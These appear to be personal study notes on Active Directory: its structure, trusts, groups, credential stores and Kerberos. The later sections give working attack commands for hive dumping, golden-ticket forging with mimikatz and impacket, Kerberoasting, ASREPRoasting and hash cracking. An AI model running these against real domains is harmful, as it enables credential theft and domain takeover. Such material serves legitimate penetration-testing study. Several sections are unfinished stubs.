Basic Overview/ Definitions

  • Directory – Contains all the information about the objects of the Active directory
  • Object – An object references almost anything inside the directory (a user, group, shared folder…)
  • Domain – The objects of the directory are contained inside the domain. Inside a “forest” more than one domain can exist and each of them will have their own objects collection.
  • Tree – Group of domains with the same root. Example: dom.local, email.dom.local, www.dom.local
  • Forest – The forest is the highest level of the organization hierarchy and is composed by a group of trees. The trees are connected by trust relationships.

Active Directory provides several different services, which fall under the umbrella of “Active Directory Domain Services,” or AD DS.

  • Domain Services – stores centralized data and manages communication between users and domains; includes login authentication and search functionality
  • Certificate Services – creates, distributes, and manages secure certificates
  • Lightweight Directory Services – supports directory-enabled applications using the open (LDAP) protocol
  • Directory Federation Services – provides single-sign-on (SSO) to authenticate a user in multiple web applications in a single session
  • Rights Management – protects copyrighted information by preventing unauthorized use and distribution of digital content
  • DNS Service – Used to resolve domain names.

AD Database file

%SYSTEM ROOT%/NTDS.NTDS.dit

Domain Controllers

Just a server running Active Directory Domain Service (AD DS) that processes all user requests such as authentication, authorisation and Name Resolution etc.

Any computer in the domain must be able to talk with the Domain Controller in order to ask for information of this database. So the Domain Controller (at least one of them) should be reachable from any part of the network.

Domain Controllers must be synchronized with each other to keep the data up to date. [[Everything about AD#DCSYNC]]

FInding DC’s

Due to the wide range of services offered by the domain controller, there are many ways to identify the domain controllers of a domain.

One possibility that doesn’t require any type of authentication is to make a simple DNS query asking for the LDAP servers of the domain (which are the domain controllers):

PS C:\Users\Anakin> nslookup -q=srv _ldap._tcp.dc._msdcs.contoso.local
Server:  UnKnown
Address:  192.168.100.2

_ldap._tcp.dc._msdcs.contoso.local      SRV service location:
          priority       = 0
          weight         = 100
          port           = 389
          svr hostname   = dc01.contoso.local
_ldap._tcp.dc._msdcs.contoso.local      SRV service location:
          priority       = 0
          weight         = 100
          port           = 389
          svr hostname   = dc02.contoso.local
dc01.contoso.local      internet address = 192.168.100.2
dc02.contoso.local      internet address = 192.168.100.3

Also if you do a port scan of a machine and the result is similar to the following, surely is a domain controller:

$ nmap 192.168.100.2 -Pn -sV -p-
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-04 11:17 CEST
Nmap scan report for 192.168.100.2
Host is up (0.00068s latency).
Not shown: 65509 filtered ports
PORT      STATE SERVICE       VERSION
42/tcp    open  tcpwrapped
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2021-05-04 09:19:44Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: contoso.local0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: contoso.local0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp  open  mc-nmf        .NET Message Framing
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49671/tcp open  msrpc         Microsoft Windows RPC
49673/tcp open  msrpc         Microsoft Windows RPC
49676/tcp open  msrpc         Microsoft Windows RPC
49677/tcp open  msrpc         Microsoft Windows RPC
49680/tcp open  msrpc         Microsoft Windows RPC
49685/tcp open  msrpc         Microsoft Windows RPC
49707/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 164.31 seconds

Nmap service scan of a Domain Controller

This output show a lot of ports open. Here is a brief description of the service offer by each port:

  • 42 -> WINS: Centralized service to resolve NetBIOS names to IP addresses.
  • 53 -> DNS: Service to resolve DNS names to IP addresses.
  • 88 -> Kerberos: Used to provide Kerberos authentication to users.
  • 135 -> RPC Endpoint Mapper: RPC service used to find the RPC endpoints for different RPC services.
  • 139 -> NetBIOS Session Service: An old alternative to TCP used by Windows computers. It allows to transport protocols like SMB or RPC.
  • 389 -> LDAP: Used to query/edit the domain database.
  • 445 -> SMB: Used to share files between computers. Also allow RPC calls through named pipes.
  • 464 -> kpasswd: Kerberos service used to change users passwords.
  • 593 -> RPC over HTTP Endpoint Mapper
  • 636 -> LDAPS: LDAP with SSL
  • 3268 -> LDAP Global Catalog: A service to query the Global Catalog.
  • 3269 -> LDAPS Global Catalog
  • 5985 -> WinRM: Service to manage the machine remotely with CIM objects or Powershell remoting.
  • 9389 -> ADWS: Web service to query/edit the domain database.
  • 49152-65535 RPC Endpoints: Random RPC ports where different RPC services/interfaces listen to clients.

Domain Trusts

Microsoft considers that the domain isn’t a Security Boundary, the Forest is the security Boundary. This means that if you compromise a domain inside a Forest you are going to be able to compromise the entire Forest.

A domain trust establishes the ability for a user in one domain to authenticate to another domain to access resources or act as a security principal.

Trust Direction

A Domain Trust Direction is the opposite to the access direction

 (trusting)         trusts        (trusted)
  Domain A  -------------------->  Domain B
       outgoing               incoming
       outbound               inbound
  • Inbound Trusts: Incoming trusts allow users of your domain to access the other domain
  • Outbound Trusts: Outbound trusts allow users of another domain to access your domain

When a 2 domains establish a trust, keys are exchanged. These keys are stored in the Domain Controllers at the base of the trust.

Trusted Accounts

When an trust is established, an associated user object is created in each domain to store the trust key. This will look like a normal user/computer account for example CONTOSO$. The name of the user is the NetBIOS name of the other domain, finished in $. For example, in case of the trust between the domains FOO and BAR, the FOO domain would store the trust key in the BAR$user, and the BAR domain would store it in the FOO$ user. If you can [get the secrets](https://zer1t0.gitlab.io/posts/attacking_ad/Domain database dumping) of this account, you can create inter-realm Kerberos tickets.

When a user tries to access a resource in the trusted domain (DC2), the trusting domain (DC2) will require a inter-realm TGT to the DC of its domain (DC1). The DC (DC1) will serve the client with this TGT which would be encrypted/ signed with the inter-realm key (the key both domains exchanged). The client will then access the DC (DC2) of the other domain and will request a TGS for the service using the inter-realm TGT.

![[Pasted image 20220613120102.png]]

It’s important to notice that a trust can be 1 way or 2 ways. In the 2 ways options, both domains will trust each other, but in the 1 way trust relation one of the domains will be the trusted and the other the trusting domain. In the latter, you will only be able to access resources inside the trusting domain from the trusted one.

A trust relationship can also be transitive (A trust B, B trust C, then A trust C) or non-transitive. Non transitive trusts can only be used by two parties, the trusting and the trusted domain.

Different trusting relationships:

  • Parent/Child
    • Implicit two way trust between a child node and its parent (most common)
  • Cross-link
  • External
    • Implicitly non-transitive trust created between disparate domains.
  • Tree-root
    • Implicit two-way transitive trust between the forest root domain and the new tree root you’re adding.
  • Forest
    • A transitive trust between one forest root domain and other forest root domain.
  • MIT

Attack paths

  1. Enumerate the trusting relationships
  2. Check is any security principals (users/groups/computers) can access resources on another domain
  3. Compromise the accounts which can pivot through domains

There are 3 mains ways security principals can access resources in another domain:

  1. They can be added to local groups on individual machines i.e. local “Administrators group on a server”
  2. They can be added to groups in the foreign domain.
  3. They can be added as principals in access control lists, i.e. in ACEs in a DACL.

A DACL stands for Discretionary Access Control List, in Microsoft Windows family, is an internal list attached to an object in Active Directory that specifies which users and groups can access the object and what kinds of operations they can perform on the object.

Access privileges for resources in Active Directory Domain Services are usually granted through the use of an access control entry (ACE)

Exploiting ACE and DACLS: https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf

Exploiting one way trusts: https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-7-trust-account-attack-from-trusting-to-trusted

Users

To easily manage users in AD they are stored as objects in the central database (ntds.dit)

User identifiers

The user object stores lots of different data such as:

PS C:\Users\Anakin> Get-ADUser Anakin


DistinguishedName : CN=Anakin,CN=Users,DC=contoso,DC=local
Enabled           : True
GivenName         : Anakin
Name              : Anakin
ObjectClass       : user
ObjectGUID        : 58ab0512-9c96-4e97-bf53-019e86fd3ed7
SamAccountName    : anakin
SID               : S-1-5-21-1372086773-2238746523-2939299801-1103
Surname           :
UserPrincipalName : anakin@contoso.local

The SamAccountName is the actual username of the user and will be needed to reference them.

SID = Domain SID + Relative Identifier (RID)

User secrets

All user secrets are kept encrypted within the AD database file.

  • NT hash (and LM hash for older accounts)
  • Kerberos keys

NT/LM hashes

NT and LM hashes are both stored in the local Windows SAM files as well as ntds.dit to authenticate the local and domain users respectively.

NT and LM hashes are separate things - LM hashes are old and weak, NT hashes are newer and more secure. However these are sometimes called NTLM hashes which can be confused with hashses used by the NTLM protocol which are actually called NTLM hashes.

Kerberos keys

These are also stored in ntds.dit and are derived from the users password and used in Kerberos authentication

UserAccountContro-

This is not talking about the UAC prompt to run elevated programs

This is a property of the user class that defines a series of flags that are relevant for security:

  1. ACCOUNTDISABLE - Account is disabled and cannot be used
  2. DONT_REQUIRE_PREAUTH - The account doesn’t require pre-authentication
  3. NOT_DELEGATED - This account cannot be delegated through Kerberos delegation
  4. TRUSTED_FOR_DELEGATION - Keberos unconstrained delegation is enabled for this account (can be used to authenticate as any user in the domain - very powerfull - see here
  5. TRUSTED_TO_AUTH_FOR_DELEGATION - Kerberos S4U2Self extension is enabled

Other useful properties:

  1. msDS-AllowedToDelegateTo - Constrained delegation! - Kerberos S4U2Self (see here)
  2. SPN (ServicePrincipalName)

Accounts to target

  • BuiltIn Administrator account - most powerful account
  • krbtgt account - its secrets (NT hash and Kerberos keys) are used to encrypt tickets (specifically TGTs) - if you can compromise this account you can create Golden Tickets [[Everything about AD#Golden ticket]]

Groups

AD groups are generated to associate permissions to a large pool of users. For example access to grant users permissions to access a specific SMB share, the will need to be added to the necessary AD group that provides Read/Write access to this share.

Groups make managing permissions much easier as you can just add or remove users from groups as needed to assign permissions rather than doing it individually for each user.

Important groups

Domain Administrators

Gives administrator privileges to its members in the domain.

DNSAdmins

The DNSAdmins group can allow to its members to execute code in Domain Controllers as SYSTEM by using an arbitrary DLL.

Protected Users

The Protected Users group allows to enforce the security of accounts. Their members are not allowed to:

  • Authenticate with NTLM (only Kerberos).
  • Use DES or RC4 encryption types in Kerberos pre-authentication.
  • Be delegated with unconstrained or constrained delegation.
  • Renew the Kerberos TGTs beyond the initial four-hour lifetime.

This can frustrate attempts to abuse of these account through NTLM relay or Kerberos Delegation attacks.

Schema Admins

The Schema Admins can modify the Active Directory database schema.

Account Operators

The Account Operators group can modify the members of many groups of the domain, excluding many of the administrators groups. However it can modify the Server Operators group.

Backup Operators

The members of Backup Operators can back up and restore files in Domain Controllers (they also can log in to them). This could allow to modify files in Domain Controllers.

The Print Operators can log into the Domain Controllers.

Server Operators

The Server Operators can log on in Domain Controllers and manage its configuration.

Remote Desktop Users

The members of Remote Desktop Users can log on in a Domain Controller through RDP.

Group Policy Creator Owners

The members of Group Policy Creator Owners can edit GPOs in the domain.

Windows Computer Connections

Here are a few different ways you can connect to machines either remotely or within the domain/forest

RPC with SMB

Tools such as PsExec, WmiExec can allow you to acheive code execution with RPC over SMB. These tools usually execute commands by using some RPC interface and send/receive the input/output by using SMB pipes.

Normally, the tools only require the 445 port (SMB) open in order to execute commands, but some like wmiexec.py will also need the port 135 (RPC over TCP).

PsRemoting

RDP

Credentials

LSASS

In Windows credentials can be found in memory, typically in the lsass.exe process. LSASS is responsible for many security related operations, including users authentication.

When a user performs an interactive logon, either by physically accessing the machine or through RDP, the credentials are cached in LSASS in order to use SSO when network logon will be required to access other domain computers.

Accessing the LSASS memory i.e. to dump it, requires the SeDebugPrivilege. Tools such as mimikatz, procdump, comsvcs.dll, or werfault.exe can be used to achieve this. Once dumped mimikatz can be used to dump creds offline.

SAM

The SAM (Security Account Manager) is a hive file (basically an encrypted text file) that stores passwords of local user accounts used for local authentication.

This is useful to check as sometimes organisations set the local Administrator password as the same in the Domain computers.

To read extract passwords from the SAM hive you will need the SYSTEM and SECURITY hive files to decrypt the file.

C:\>reg save HKLM\SYSTEM system.bin
The operation completed successfully.

C:\>reg save HKLM\SECURITY security.bin
The operation completed successfully.

C:\>reg save HKLM\SAM sam.bin
The operation completed successfully.

To crack Domain Cached Credentials you will need to save them in the following format and then use hashcat :

  • $DCC2$10240#username#hash

LAPS

  • LAPS is not a place to find passwords but a solution used to manage Administrator passwords across a domain. LAPS ensures every Administrator password is unique to prevent multiple devices becoming compromised if one credential is found.

Registry

Linux credentials

Unfortunately Linux devices don’t have an LSASS process to store cached credentials but there can be some interesting files.

Linux Kerberos tickets

Look inside /etc/krb5.keytab

klist -k -Ke

Keytab name: FILE:/etc/krb5.keytab
KVNO Principal
---- --------------------------------------------------------------------------
   1 r2d2@contoso.local (DEPRECATED:arcfour-hmac)  (0xc49a77fafad6d3a9270a8568fa453003)

LDAP

Lightweight Directory Access Protocol. T

Kerberos

Kerberos is an authentication protocol, not authorization. It is used to identify each user who provides a password. It does not validate which resources or services the user can access.

Kerberos provides information about the privileges of each user, but it is the responsibility of each service to determine if the user has access to its resources.

When using Kerberos authentication you will need to pass as target to the tools the hostname (DNS name or NetBIOS name) of the remote machine instead of its IP. This is cause Kerberos authentication uses the hostname to identify the service of the remote machine and provide the right ticket to authenticate against it.

Kerberos architecture

This section outlines all the different parts that make up Kerberos authentication.

Transport Layer

  • Either uses TCP or UDP
    • UDP: 88
    • TCP: 88
  • Sends data in clear text, therefore it must handle its own encryption

Agents

Several agents work together to provide authentication in Kerberos

  1. Client or user who wants to access the service
  2. AP (Application Server) which offers the service required by the user that implements Kerberos to handle authentication
  3. KDC (Key Distribution Center), the main service of Kerberos, responsible for issuing the tickets, installed on the DC (Domain Controller).
    1. It is supported by the AS (Authentication Service), which issues the TGTs

Encryption keys

  • KDC or krbgt key - derived from krbtg account NTLM hash
  • User Key - derived from user NTLM hash
  • Service Key - derived from NTLM hash of service owner whuch can be a user or computer account
  • Session key - negotiated between the user and KDC
  • Service session key - used between the user and service

Tickets

Tickets are the main part of Kerberos. They are given to users in order to be used to perform several actions. There are 2 main types:

  • TGS (Ticket Granting Service) is the ticket used by a user to authenticate against a service
    • It is encrypted with the service key
  • The TGT (Ticket Granting Ticket) is the ticket passed to the KDC to request a TGS.
    • It is encrypted with the KDC key

Golden ticket

A Golden Ticket is a TGT using the KRBTGT NTLM password hash to encrypt and sign.

With a golden ticket a valid TGT as any user can be created using the NTLM hash of the krbtgt AD account. The advantage of forging a TGT instead of TGS is being able to access any service (or machine) in the domain and the impersonated user.

The krbtgt account NTLM hash can be obtained from the lsass process or from the NTDS.dit file of any DC in the domain. It is also possible to get that NTLM through a DCsync attack, which can be performed either with the lsadum[::dcsync module of Mimikatz or secretsdump.py. Requires domain admin privileges usually. NTLM hashes can sometimes be sniffed through responder

Inject golden ticket from Linux

python ticketer.py -nthash 25b2076cda3bfd6209161a6c78a69c1c -domain-sid S-1-5-21-1339291983-1349129144-367733775 -domain jurassic.park stegosaurus
export KRB5CCNAME=/root/impacket-examples/stegosaurus.ccache
python psexec.py jurassic.park/stegosaurus@lab-wdc02.jurassic.park -k -no-pass

Inject golden ticket from Windows:

mimikatz # kerberos::golden /User:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt
.\Rubeus.exe ptt /ticket:ticket.kirbi
klist #List tickets in memory

PAC

  • Privilege Attribute Certificate

The PAC is included in almost every ticket. This structure contains the privileges of the user and it is signed with the KDC key.

Services can verify the PAC by communicating with the KDC (Doesn’t happen often). The check only checks the signature, not if the privileges inside are correct.

Messages

There are different types of messages used:

  • KRB_AS_REQ: Requests TGT from KDC
  • KRB_AS_REP: Delivers TGT from KDC
  • KRB_TGS_REQ: Requests TGS from KDC, using the TGT.
  • KRB_TGS_REP: Delivers the TGS from KDC.
  • KRB_AP_REQ: Used to authenticate a user against a service, using the TGS.
  • KRB_AP_REP: (Optional) Used by service to identify itself against the user.
  • KRB_ERROR: Message to communicate error conditions.

![[Pasted image 20220610161522.png]]

Kerberoasting

The goal of Kerberoasting is to harvest TGS tickets for services that run on behalf of user accounts in the AD, not computer accounts.

Part of these TGS tickets are encrypted with keys derived from user passwords. As a consequence, their credentials could be cracked offline.

You can know that a user account is being used as a service because the property “ServicePrincipalName” is not null.

To perform Kerberoasting, only a domain account that can request for TGSs is necessary, which is usually everyone as no special privileges are required.

You need valid credentials inside the domain.

msf> use auxiliary/gather/get_user_spns
GetUserSPNs.py -request -dc-ip 192.168.2.160 <DOMAIN.FULL>/<USERNAME> -outputfile hashes.kerberoast # Password will be prompted
GetUserSPNs.py -request -dc-ip 192.168.2.160 -hashes <LMHASH>:<NTHASH> <DOMAIN>/<USERNAME> -outputfile hashes.kerberoast
Get-NetUser -SPN | select serviceprincipalname #PowerView, get user service accounts

#Get TGS in memory
Add-Type -AssemblyName System.IdentityModel 
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "ServicePrincipalName" #Example: MSSQLSvc/mgmt.domain.local 
 
klist #List kerberos tickets in memory
 
Invoke-Mimikatz -Command '"kerberos::list /export"' #Export tickets to current folder

Cracking

john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi

ASREPRoast

If a user doesn’t have the attribute DONT_REQ_PREAUTH you can request a AS_REP message for that user that will contain some data encrypted by a derivation of the password of the user. This can then be cracked to retrieve a password.

Linux:

#Try all the usernames in usernames.txt
python GetNPUsers.py jurassic.park/ -usersfile usernames.txt -format hashcat -outputfile hashes.asreproast
#Use domain creds to extract targets and target them
python GetNPUsers.py jurassic.park/triceratops:Sh4rpH0rns -request -format hashcat -outputfile hashes.asreproast

Windows:

.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.asreproast
Get-ASREPHash -Username VPN114user -verbose #From ASREPRoast.ps1 (https://github.com/HarmJ0y/ASREPRoast)

Cracking

john --wordlist=passwords_kerb.txt hashes.asreproast
hashcat -m 18200 --force -a 0 hashes.asreproast passwords_kerb.txt 

FSMO’s

Hashes

NT

LM

NTLM v1

NTLM v2

Misc

Clocks on systems within a domain need to be in sync to prevent replay attacks. Clock skew can invalidate authenticators such as Kerberos. This is because timestamps are passed within tickets such as TGTs and if the timestamps do not match (with the tolerance) they do not grant a ticket.

Replay attack

  • Alice authenticates to KDC. KDC provides TGT
  • Alice sends TGT to TGS and receives a TGS ticket (Service Ticket)
  • Attacker Eve is listening in and makes a copy of the encrypted Service Ticket
  • Eve can not decrypt the TGS but can send it to the Service to impersonate Alice

Mitigation

  • TImestamps are used inside tickets so if used outside of the tolerance it will not allow Eve to authenticate as Alice
  • Service maintains a cache of recently authenticated tickets, if not in the cache the user will be authenticated, if its in the cache the user will not be authenticated.

AD Certificate services

Used for:

  • Encrypting file systems
  • Signing
  • User authentication

References